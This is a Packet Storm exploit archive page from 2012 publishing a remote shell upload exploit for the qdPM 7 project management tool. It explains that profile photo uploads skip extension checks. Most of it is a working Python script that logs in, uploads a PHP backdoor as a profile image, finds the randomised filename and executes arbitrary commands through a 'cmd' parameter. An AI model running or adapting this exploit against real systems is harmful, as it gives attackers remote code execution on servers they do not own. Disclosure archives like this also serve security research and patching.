exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

qdPM 7 Shell Upload

qdPM 7 Shell Upload
Posted Jun 14, 2012
Authored by loneferret

qdPM version 7 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | de7d737317088da35d6c5415b3002cc2704e760c0485eed4b429a49321a72e9c

qdPM 7 Shell Upload

Change Mirror Download
######################################################################################
# Exploit qdPM v.7 Arbitrary File upload
# Date: June 13th 2012
# Author: loneferret
# Version: 7
# Vendor Url: http://qdpm.net/
# Tested on: Winddows XP / XAMPP
######################################################################################
# Discovered by: loneferret
######################################################################################

# Software description:
# Free project management tool for small team
# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.
# It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact
# using a Ticket System that is integrated into Task management.

# Vulnerability:
# Application does not verify the file's extension when uploading an image for a user's profile.
# Making it possible to upload a small php shell, and accessing it remotely.

# Note(s):
# One needs a valid user account to upload the file. (Client will do)
# No need to be authenticated to access the file.

# Uploading file:
# Once logged in, upload file here:
# Page: /qdPM/index.php/home/myAccount

# Access file:
# File can be found here:
# /qdPM/uploads/users/<filename>
#
# Note the filename will contain a random number. One need to
# to look at the source code from the browser to find it.
# For example: <input type="file" name="users[photo]" value="171793-backdoor.php" id="users_photo" />



----- python script -----
#!/usr/bin/python

import re, mechanize
import urllib, sys

print "\n[*] qdPM v.7 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"

print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
print "[*] Usage: poc.py <RHOST> <RCMD>"
exit(0)

rhost = sys.argv[1]
rcmd = sys.argv[2]

# Login into site
try:
print "[*] Loging in ."
br = mechanize.Browser()
br.open("http://%s/qdPM/index.php/home/login" % rhost)
assert br.viewing_html()
br.select_form(name="UsersForm")
br.select_form(nr=0)
br.form['login[email]'] = "loneferret@test.com"
br.form['login[password]'] = "123456"
print "[*] Hope this works"
br.submit()

except:
print "[*] Oups..."
exit(0)

# Upload malicious file
try:
print "[*] Uploading shell .."
br.open("http://%s/qdPM/home/myAccount" % rhost)
assert br.viewing_html()
br.select_form(name="UsersAccountForm")
br.select_form(nr=0)
br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="users[photo]")
br.submit(nr=0)

except:
print "[-] Upload didn't work."
exit(0)

# Get file name once saved
try:
br.select_form(name="UsersAccountForm")
for form in br.forms():
filename = form.controls[9].value
print "[*] Filename is now: " + filename

url = "http://%s/qdPM/uploads/users " % rhost
url += "/%s?cmd=%s" % (filename,rcmd)
print "[*] Executing command:\n"
resp = urllib.urlopen(url)
print resp.read()

except:
print "[-] Oups..."
exit(0)


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close